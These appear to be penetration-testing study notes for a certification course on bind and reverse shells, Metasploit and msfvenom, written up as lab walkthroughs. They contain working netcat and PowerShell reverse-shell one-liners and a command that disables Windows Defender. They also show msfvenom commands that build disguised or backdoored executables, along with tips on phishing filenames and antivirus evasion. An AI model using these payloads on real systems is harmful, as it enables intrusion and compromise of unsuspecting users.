Skip to main content

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Shell Basics

Overview

In penetration testing, establishing a shell on a target system is crucial for maintaining access and executing commands. This document covers the fundamentals of bind shells and reverse shells, which are the two primary methods for establishing shell connections.

Bind Shells

What Is It?

With a bind shell, the target system has a listener started and awaits a connection from the pentester’s system (attack box). The target acts as the server, and the attack box acts as the client.
[Attack Box] -----> [Target System with Listener]
10.10.14.15         10.10.14.20:1337

Challenges with Bind Shells

  1. Listener Requirement: A listener must already be started on the target
  2. Firewall Restrictions: Incoming firewall rules are typically strict
  3. NAT/PAT: Network Address Translation with Port Address Translation blocks incoming connections
  4. OS Firewalls: Windows and Linux firewalls block most incoming connections
  5. Network Position: Requires being on the internal network already

Practicing with GNU Netcat

Netcat (nc) is our “Swiss-Army Knife” for network connections:
  • Functions over TCP, UDP, and Unix sockets
  • Supports IPv4 & IPv6
  • Can open and listen on sockets
  • Operates as a proxy
  • Handles text input and output

Basic Netcat Connection

Step 1: Server (Target) - Start Netcat listener
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Step 2: Client (Attack Box) - Connect to listener
kabaneridev@htb[/htb]$ nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!
Step 3: Server - Connection received
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51872 received!
Step 4: Test Communication
# Client side
kabaneridev@htb[/htb]$ nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!
Hello Academy

# Server side
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51914 received!
Hello Academy

Establishing a Basic Bind Shell with Netcat

The above example only creates a TCP session for text communication. For a real bind shell, we need to serve the system shell: Server - Binding a Bash shell to the TCP session
Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
Client - Connecting to bind shell on target
kabaneridev@htb[/htb]$ nc -nv 10.129.41.200 7777
Target@server:~$

Payload Breakdown

The bind shell payload consists of:
  • rm -f /tmp/f: Remove existing named pipe
  • mkfifo /tmp/f: Create named pipe (FIFO)
  • cat /tmp/f | /bin/bash -i 2>&1: Read from pipe and execute in bash with interactive mode
  • nc -l 10.129.41.200 7777 > /tmp/f: Listen on port and redirect output to pipe

Security Considerations

Bind shells are easier to defend against because:
  • Incoming connections are more likely to be detected
  • Firewalls typically block incoming connections
  • Standard ports don’t help much with incoming traffic
  • Detection systems monitor for unusual listeners

Reverse Shells

What Is It?

With a reverse shell, the attack box has a listener running, and the target initiates the connection. The attack box acts as the server, and the target acts as the client.
[Attack Box with Listener] <----- [Target System]
10.10.14.15:1337                  10.10.14.20

Advantages of Reverse Shells

  1. Firewall Evasion: Outbound connections are less likely to be blocked
  2. Admin Oversight: Admins often overlook outbound connections
  3. Common Ports: Can use ports like 80, 443, 53 that are rarely blocked
  4. Better Detection Evasion: Harder to detect than incoming connections

Useful Resources

  • Reverse Shell Cheat Sheet: Contains various reverse shell payloads
  • Remember: Admins are aware of public repositories and may tune security controls accordingly

Hands-on With A Simple Reverse Shell in Windows

Step 1: Start Netcat Listener (Attack Box)

kabaneridev@htb[/htb]$ sudo nc -lvnp 443
Listening on 0.0.0.0 443
Why Port 443?
  • Common HTTPS port
  • Rarely blocked outbound
  • Appears legitimate
  • Organizations rely on HTTPS for daily operations
Note: Advanced firewalls with deep packet inspection (DPI) and Layer 7 visibility may still detect reverse shells regardless of port.

Step 2: PowerShell Reverse Shell (Target)

Key Considerations:
  • What applications are present on the target?
  • What shell languages are available?
  • Use “living off the land” techniques when possible
  • Netcat is not native to Windows
PowerShell Reverse Shell One-liner:
$LHOST = "10.10.14.55"; $LPORT = 7777; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

Step 3: Dealing with Antivirus

Common AV Response:
At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443) ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent
Disable Windows Defender (Administrative PowerShell):
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true

Step 4: Successful Connection

Attack Box:
kabaneridev@htb[/htb]$ sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.36.68 49674

PS C:\Users\htb-student> whoami
ws01\htb-student

PowerShell Reverse Shell Payload Breakdown

The PowerShell reverse shell payload consists of:
  1. TCP Client Creation: New-Object System.Net.Sockets.TCPClient('IP',PORT)
  2. Stream Management: $client.GetStream()
  3. Data Buffer: [byte[]]$bytes = 0..65535|%{0}
  4. Read Loop: Continuously read from stream
  5. Command Execution: iex $data (Invoke-Expression)
  6. Output Formatting: Add PS prompt and path
  7. Data Transmission: Send results back to attack box
  8. Connection Management: Flush and close when done

Common Ports for Reverse Shells

Commonly Allowed Outbound Ports:
  • 80 (HTTP)
  • 443 (HTTPS)
  • 53 (DNS)
  • 22 (SSH)
  • 21 (FTP)
  • 25 (SMTP)
  • 110 (POP3)
  • 143 (IMAP)
Why These Ports Work:
  • Essential for business operations
  • Rarely blocked by firewalls
  • Less suspicious in network traffic
  • Blend in with legitimate traffic

Best Practices

For Bind Shells:

  • Use only when necessary
  • Consider firewall implications
  • Test from internal network position
  • Use common service ports when possible

For Reverse Shells:

  • Prefer over bind shells when possible
  • Use common outbound ports
  • Consider AV/EDR evasion techniques
  • Test payload delivery methods
  • Understand target environment

General Considerations:

  • Always test in controlled environments first
  • Understand network topology
  • Consider detection mechanisms
  • Have backup methods ready
  • Document successful techniques

Troubleshooting

Common Issues:
  1. Connection Refused: Check firewall rules and port availability
  2. AV Detection: Use evasion techniques or disable temporarily
  3. Network Restrictions: Try different ports or protocols
  4. Payload Failures: Verify syntax and target compatibility
  5. Unstable Connections: Check network stability and MTU issues
Debugging Commands:
# Check listening ports
netstat -tlnp

# Test connectivity
telnet target_ip target_port

# Check firewall status (Linux)
ufw status

# Check firewall status (Windows)
netsh advfirewall show allprofiles

Summary

Understanding shell basics is fundamental to penetration testing:
  • Bind Shells: Target listens, attacker connects (harder to achieve)
  • Reverse Shells: Attacker listens, target connects (preferred method)
  • Netcat: Swiss-Army knife for network connections
  • PowerShell: Native Windows capability for reverse shells
  • Port Selection: Use common ports for better success rates
  • Evasion: Consider AV/EDR and firewall restrictions
The next sections will cover advanced payloads, platform-specific techniques, and web shells for maintaining persistence and escalating privileges.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/shells-and-payloads/shell-basics.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Payloads

Overview

Metasploit is an automated attack framework developed by Rapid7 that streamlines the process of exploiting vulnerabilities through the use of pre-built modules. It contains easy-to-use options to exploit vulnerabilities and deliver payloads to gain a shell on a vulnerable system.

Important Considerations

Training vs. Real-World Usage:
  • Some cybersecurity training vendors limit Metasploit usage on lab exams
  • Most organizations will not limit tool usage on engagements
  • Understanding tool effects is crucial to avoid destruction in live tests
  • Responsibility lies with the tester to understand tools, techniques, and methodologies
Metasploit Editions:
  • Community Edition: Free version used in this documentation
  • Metasploit Pro: Paid edition used by established cybersecurity firms
  • Metasploit Pro includes additional features for penetration tests, security audits, and social engineering campaigns

Starting Metasploit

Launch Metasploit Framework Console

sudo msfconsole
Expected Output:
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.0.44-dev                          ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Writing a custom module? After editing your 
module, why not try the reload command

msf6 > 

Key Statistics

  • 2131 exploits: Pre-built vulnerability exploits
  • 592 payloads: Available payload options
  • 1139 auxiliary: Supporting modules for scanning/enumeration
  • 363 post: Post-exploitation modules
  • 45 encoders: Payload encoding options
  • 10 nops: No-operation modules
  • 8 evasion: Evasion techniques
Note: These numbers may change as maintainers add/remove modules

Practical Example: SMB Exploitation

Step 1: Target Enumeration

Nmap Scan:
nmap -sC -sV -Pn 10.129.164.25
Sample Output:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 21:03 UTC
Nmap scan report for 10.129.164.25
Host is up (0.020s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Host script results:
|_nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:04:e2 (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-09T21:03:31
|_  start_date: N/A
Key Findings:
  • SMB service on port 445 (potential attack vector)
  • Windows 7-10 system
  • SMB message signing disabled (security weakness)
Search for SMB modules:
msf6 > search smb
Sample Output:
Matching Modules
================

#    Name                                           Disclosure Date    Rank       Check  Description
---  ----                                           ---------------    ----       -----  -----------
41   auxiliary/scanner/smb/smb_ms17_010                                normal     No     MS17-010 SMB RCE Detection
42   auxiliary/dos/windows/smb/ms05_047_pnp                            normal     No     Microsoft Plug and Play Service Registry Overflow
56   exploit/windows/smb/psexec                     1999-01-01         manual     No     Microsoft Windows Authenticated User Code Execution
60   exploit/windows/smb/ms10_046_shortcut_icon_dllloader  2010-07-16  excellent  No     Microsoft Windows Shell LNK Code Execution

Step 3: Understanding Module Structure

Module: exploit/windows/smb/psexec
ComponentMeaning
56Module number (relative to search results)
exploit/Module type (exploit module)
windows/Target platform (Windows)
smb/Service/protocol (SMB)
psexecTool/technique (psexec utility)

Step 4: Module Selection

msf6 > use 56
Expected Response:
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/psexec) > 
Prompt Breakdown:
  • exploit - Module type
  • windows/smb/psexec - Specific exploit path
  • Default payload: windows/meterpreter/reverse_tcp

Step 5: Examining Module Options

msf6 exploit(windows/smb/psexec) > options
Module Options:
Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                                  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as
Payload Options:
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     68.183.42.102    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Step 6: Configuring the Exploit

Required Settings:
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.129.180.71
RHOSTS => 10.129.180.71

msf6 exploit(windows/smb/psexec) > set SHARE ADMIN$
SHARE => ADMIN$

msf6 exploit(windows/smb/psexec) > set SMBPass HTB_@cademy_stdnt!
SMBPass => HTB_@cademy_stdnt!

msf6 exploit(windows/smb/psexec) > set SMBUser htb-student
SMBUser => htb-student

msf6 exploit(windows/smb/psexec) > set LHOST 10.10.14.222
LHOST => 10.10.14.222
Configuration Breakdown:
  • RHOSTS: Target IP address(es)
  • SHARE: Administrative share (ADMIN,C, C, etc.)
  • SMBPass: Password for authentication
  • SMBUser: Username for authentication
  • LHOST: Local host IP for reverse connection

Step 7: Executing the Exploit

msf6 exploit(windows/smb/psexec) > exploit
Execution Output:
[*] Started reverse TCP handler on 10.10.14.222:4444 
[*] 10.129.180.71:445 - Connecting to the server...
[*] 10.129.180.71:445 - Authenticating to 10.129.180.71:445 as user 'htb-student'...
[*] 10.129.180.71:445 - Selecting PowerShell target
[*] 10.129.180.71:445 - Executing the payload...
[+] 10.129.180.71:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.180.71
[*] Meterpreter session 1 opened (10.10.14.222:4444 -> 10.129.180.71:49675) at 2021-09-13 17:43:41 +0000

meterpreter > 
Process Breakdown:
  1. Handler Started: Reverse TCP handler listening on LHOST:LPORT
  2. Connection: Connecting to target SMB service
  3. Authentication: Authenticating with provided credentials
  4. Target Selection: Selecting PowerShell target
  5. Payload Execution: Executing the payload on target
  6. Stage Transfer: Sending Meterpreter stage to target
  7. Session Establishment: Meterpreter session opened

Understanding Meterpreter

What is Meterpreter?

Meterpreter is an advanced payload that:
  • Uses in-memory DLL injection
  • Establishes stealthy communication channel
  • Provides extensive post-exploitation capabilities
  • Operates entirely in memory (difficult to detect)

Key Capabilities

File Operations:
  • Upload/download files
  • File system navigation
  • File manipulation
System Operations:
  • Execute system commands
  • Run keylogger
  • Create/start/stop services
  • Manage processes
Network Operations:
  • Port forwarding
  • Network pivoting
  • Route manipulation
Advanced Features:
  • Screenshot capture
  • Webcam access
  • Audio recording
  • Registry manipulation

Meterpreter Commands

Get Help:
meterpreter > ?
Common Commands:
# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System
meterpreter > pwd
meterpreter > ls
meterpreter > cd <directory>

# Process Management
meterpreter > ps
meterpreter > migrate <pid>

# Network
meterpreter > ipconfig
meterpreter > route

# Persistence
meterpreter > run persistence -X

Dropping to System Shell

Access Full System Commands:
meterpreter > shell
Process 604 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>
Return to Meterpreter:
C:\WINDOWS\system32> exit
meterpreter > 

Metasploit Module Types

1. Exploit Modules

Purpose: Exploit specific vulnerabilities Example: exploit/windows/smb/psexec Usage: Gain initial access to systems

2. Auxiliary Modules

Purpose: Scanning, enumeration, and verification Example: auxiliary/scanner/smb/smb_version Usage: Information gathering and reconnaissance

3. Post Modules

Purpose: Post-exploitation activities Example: post/windows/gather/credentials/credential_collector Usage: After gaining access, collect information

4. Payload Modules

Purpose: Code executed on target after exploitation Example: windows/meterpreter/reverse_tcp Usage: Establish communication channel

5. Encoder Modules

Purpose: Encode payloads to avoid detection Example: x86/shikata_ga_nai Usage: Bypass antivirus and filters

6. NOP Modules

Purpose: No-operation instructions for buffer alignment Example: x86/opty2 Usage: Ensure payload stability

MSFVenom - Standalone Payload Generator

Basic Usage

Generate Windows Reverse Shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.222 LPORT=4444 -f exe -o shell.exe
Generate Linux Reverse Shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.222 LPORT=4444 -f elf -o shell.elf
Generate PHP Web Shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.222 LPORT=4444 -f raw -o shell.php

Common Parameters

ParameterDescriptionExample
-pPayload typewindows/meterpreter/reverse_tcp
-fOutput formatexe, elf, raw, python
-oOutput fileshell.exe
-eEncoderx86/shikata_ga_nai
-iEncoding iterations3
-bBad characters\x00\x0a\x0d

Advanced MSFVenom Examples

Encoded Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.222 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded_shell.exe
Custom Template:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.222 LPORT=4444 -x notepad.exe -f exe -o backdoored_notepad.exe

Best Practices

1. Reconnaissance First

  • Always perform thorough enumeration
  • Identify target OS and services
  • Understand network topology
  • Gather credentials when possible

2. Module Selection

  • Choose appropriate exploit for target
  • Consider payload options
  • Understand module limitations
  • Test in lab environment first

3. Payload Considerations

  • Select appropriate payload type
  • Consider network restrictions
  • Plan for persistence needs
  • Understand detection risks

4. Operational Security

  • Use common ports when possible
  • Consider encoding for AV evasion
  • Clean up artifacts after testing
  • Document all actions taken

5. Session Management

  • Migrate to stable processes
  • Create multiple access points
  • Use appropriate persistence methods
  • Monitor for detection

Troubleshooting

Common Issues

1. Module Not Found:
msf6 > updatedb
msf6 > reload_all
2. Payload Mismatch:
msf6 exploit(windows/smb/psexec) > show payloads
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
3. Connection Issues:
# Check firewall rules
# Verify network connectivity
# Confirm correct IP addresses
4. Authentication Failures:
# Verify credentials
# Check domain settings
# Try different authentication methods

Debugging Commands

Show Module Information:
msf6 > info exploit/windows/smb/psexec
Check Payload Options:
msf6 exploit(windows/smb/psexec) > show options
msf6 exploit(windows/smb/psexec) > show payloads
Session Management:
msf6 > sessions -l
msf6 > sessions -i 1
msf6 > sessions -k 1

Security Considerations

Detection Risks

Network Level:
  • Unusual network connections
  • Known malicious signatures
  • Behavioral analysis triggers
Host Level:
  • Process injection detection
  • In-memory payload signatures
  • Behavioral monitoring alerts

Mitigation Strategies

For Penetration Testers:
  • Use custom payloads
  • Implement proper encoding
  • Time attacks appropriately
  • Clean up after testing
For Defenders:
  • Monitor for known signatures
  • Implement behavioral analysis
  • Use application whitelisting
  • Regular security updates

Summary

Metasploit provides a powerful framework for:
  • Automated exploitation of known vulnerabilities
  • Payload delivery through various attack vectors
  • Post-exploitation activities and persistence
  • Comprehensive testing of security controls
Key takeaways:
  • Understand tools before using them
  • Proper enumeration guides module selection
  • Meterpreter provides extensive post-exploitation capabilities
  • Always consider detection and mitigation strategies
  • Practice in controlled environments first
The combination of Metasploit’s exploit modules and payload delivery system makes it an invaluable tool for security professionals, but it requires proper understanding and responsible use to avoid unintended consequences in production environments.

Crafting Payloads with MSFvenom

Understanding Payload Delivery Challenges

Using automated attacks in Metasploit requires network access to vulnerable target machines. However, there are situations where we lack direct network access to a target. In these cases, we need alternative delivery methods such as:
  • Email attachments with malicious payloads
  • Social engineering to drive user execution
  • Physical access via USB drives during onsite tests
  • Web downloads from compromised or controlled sites
MSFvenom addresses these challenges by providing:
  • Flexible delivery options for various scenarios
  • Encryption & encoding to bypass antivirus detection
  • Multiple output formats for different platforms
  • Standalone payload generation without full Metasploit

Exploring Available Payloads

List all available payloads:
msfvenom -l payloads
Sample Output:
Framework Payloads (592 total) [--payload <value>]
==================================================

    Name                                                Description
    ----                                                -----------
linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
linux/zarch/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)
windows/dllinject/bind_tcp                          Inject a DLL via a reflective loader. Listen for a connection (Windows x86)
windows/dllinject/reverse_tcp                       Inject a DLL via a reflective loader. Connect back to the attacker
nodejs/shell_bind_tcp                               Creates an interactive shell via nodejs
nodejs/shell_reverse_tcp                            Creates an interactive shell via nodejs

Staged vs. Stageless Payloads

Staged Payloads

Characteristics:
  • Create a way to send more components of the attack
  • “Setting the stage” for additional functionality
  • Send small initial stage, then download remainder over network
  • Requires multiple network communications
Example: linux/x86/shell/reverse_tcp
  • Initial stage executed on target
  • Calls back to attack box for remainder
  • Downloads and executes shellcode
  • Establishes reverse shell connection
Advantages:
  • Smaller initial payload size
  • Can deliver larger, more complex payloads
  • Flexibility in payload composition
Disadvantages:
  • Multiple network communications required
  • Dependent on network stability
  • Takes up memory space for stages
  • More detectable due to network traffic

Stageless Payloads

Characteristics:
  • Complete payload sent in its entirety
  • No additional network communications required
  • Self-contained executable code
  • Single network transmission
Example: linux/zarch/meterpreter_reverse_tcp
  • Complete payload in one transmission
  • No additional downloads required
  • Executes immediately upon receipt
Advantages:
  • Better for bandwidth-limited environments
  • Reduced network traffic (better evasion)
  • No dependency on network stability
  • Faster execution
Disadvantages:
  • Larger payload size
  • Limited by single transmission constraints
  • Less flexibility in payload composition

Identifying Staged vs. Stageless Payloads

Naming Convention Rules

Staged Payloads:
  • Each / represents a stage
  • Example: linux/x86/shell/reverse_tcp
    • /shell/ = stage to send
    • /reverse_tcp = another stage
Stageless Payloads:
  • All components in single function name
  • Example: linux/zarch/meterpreter_reverse_tcp
    • meterpreter_reverse_tcp = complete payload

Comparison Examples

StagedStageless
windows/meterpreter/reverse_tcpwindows/meterpreter_reverse_tcp
linux/x86/shell/reverse_tcplinux/x86/shell_reverse_tcp
windows/shell/bind_tcpwindows/shell_bind_tcp

Building Stageless Payloads

Linux ELF Payload Example

Command:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
Output:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Command Breakdown:
ComponentDescription
msfvenomTool used to create the payload
-pIndicates creating a payload
linux/x64/shell_reverse_tcpLinux 64-bit stageless reverse shell
LHOST=10.10.14.113IP address to connect back to
LPORT=443Port to connect back to
-f elfOutput format (ELF binary)
> createbackup.elfOutput filename

Windows EXE Payload Example

Command:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
Output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

Payload Delivery Methods

1. Email Attachments

Advantages:
  • Direct user interaction
  • Can target specific individuals
  • Bypasses network perimeter controls
Considerations:
  • Email security filters
  • User awareness training
  • Antivirus scanning

2. Web Downloads

Advantages:
  • Wide distribution potential
  • Can be combined with social engineering
  • Multiple delivery vectors
Considerations:
  • Web application firewalls
  • Browser security features
  • User download behavior

3. Physical Media

Advantages:
  • Bypasses network controls
  • High success rate if executed
  • Direct access to target environment
Considerations:
  • Physical security controls
  • Autorun policies
  • User education

4. Combined with Exploits

Advantages:
  • Automated delivery
  • Leverages existing vulnerabilities
  • Part of broader attack chain
Considerations:
  • Requires network access
  • Depends on vulnerability existence
  • May be detected by security tools

Executing Payloads

Linux Payload Execution

Setup listener:
sudo nc -lvnp 443
When payload executes:
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.138.85 60892

env
PWD=/home/htb-student/Downloads
cd ..
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

Windows Payload Execution

Setup listener:
sudo nc -lvnp 443
When payload executes:
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.144.5 49679
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\htb-student\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is DD25-26EB

 Directory of C:\Users\htb-student\Downloads

09/23/2021  10:26 AM    <DIR>          .
09/23/2021  10:26 AM    <DIR>          ..
09/23/2021  10:26 AM            73,802 BonusCompensationPlanpdf.exe
               1 File(s)         73,802 bytes
               2 Dir(s)   9,997,516,800 bytes free

Advanced MSFvenom Techniques

Multiple Format Support

Common formats:
# Windows formats
-f exe          # Windows executable
-f dll          # Windows DLL
-f msi          # Windows installer
-f aspx         # ASP.NET web application
-f aspx-exe     # ASP.NET executable

# Linux formats
-f elf          # Linux executable
-f elf-so       # Linux shared object

# Cross-platform formats
-f jar          # Java archive
-f war          # Web application archive
-f python       # Python script
-f powershell   # PowerShell script
-f bash         # Bash script

Encoding for Evasion

Basic encoding:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -e x86/shikata_ga_nai -f exe > encoded_payload.exe
Multiple encoding iterations:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -e x86/shikata_ga_nai -i 3 -f exe > multi_encoded.exe

Template Injection

Inject into existing executable:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -x notepad.exe -f exe > backdoored_notepad.exe

Bad Character Removal

Remove problematic characters:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -b '\x00\x0a\x0d' -f exe > clean_payload.exe

Platform-Specific Considerations

Windows Considerations

Antivirus Evasion:
  • Use encoders and encryption
  • Template injection techniques
  • Fileless payload delivery
  • Process hollowing techniques
Execution Methods:
  • Double-click execution
  • Command line execution
  • Scheduled tasks
  • Service installation

Linux Considerations

Permission Requirements:
  • Executable permissions needed
  • User context considerations
  • Privilege escalation needs
Execution Methods:
  • Direct execution
  • Bash/shell execution
  • Cron job scheduling
  • Service daemon installation

Social Engineering Integration

Filename Strategies

Convincing Filenames:
  • BonusCompensationPlan.pdf.exe
  • SecurityUpdate.exe
  • InstallationWizard.exe
  • DocumentViewer.exe
File Extension Manipulation:
  • Use double extensions
  • Hide real extension
  • Use similar-looking extensions
  • Leverage file association weaknesses

Delivery Context

Business Context:
  • Quarterly reports
  • Security updates
  • Software installations
  • Training materials
Personal Context:
  • Photos/videos
  • Games/entertainment
  • Personal documents
  • Utilities/tools

Detection and Countermeasures

Common Detection Methods

Signature-based Detection:
  • Known payload signatures
  • Behavioral pattern matching
  • Heuristic analysis
Behavioral Analysis:
  • Network communication patterns
  • Process execution behavior
  • File system modifications

Evasion Techniques

Payload Modification:
  • Custom encoding schemes
  • Polymorphic payloads
  • Encrypted communications
  • Delayed execution
Delivery Modification:
  • Staged delivery
  • Legitimate application abuse
  • Living-off-the-land techniques
  • Memory-only execution

MSFvenom Best Practices

Payload Selection

  1. Choose appropriate payload type (staged vs stageless)
  2. Consider target platform and architecture
  3. Evaluate network restrictions and firewall rules
  4. Plan for persistence and post-exploitation needs

Delivery Planning

  1. Understand target environment and security controls
  2. Plan social engineering context and delivery method
  3. Prepare backup delivery methods in case of failure
  4. Consider detection timing and operational security

Operational Security

  1. Use common ports for better success rates
  2. Implement proper encoding for AV evasion
  3. Clean up artifacts after successful execution
  4. Monitor for detection and adjust accordingly

Troubleshooting MSFvenom

Common Issues

Payload Size Limitations:
# Check payload size
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 --smallest
Architecture Mismatches:
# Specify architecture explicitly
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > payload64.exe
Encoding Failures:
# Try different encoders
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -e x86/alpha_mixed -f exe > alpha_encoded.exe

Verification Methods

Test payload functionality:
# Check payload structure
file payload.exe
strings payload.exe

# Test in isolated environment
# Verify listener connectivity
# Confirm execution behavior

Integration with Other Tools

Combining with Social Engineering

Social Engineering Toolkit (SET):
  • Automated payload delivery
  • Credential harvesting
  • Phishing campaigns
Custom Scripts:
  • Automated payload generation
  • Batch processing
  • Custom encoding schemes

Post-Exploitation Integration

Meterpreter Migration:
# After payload execution
meterpreter > ps
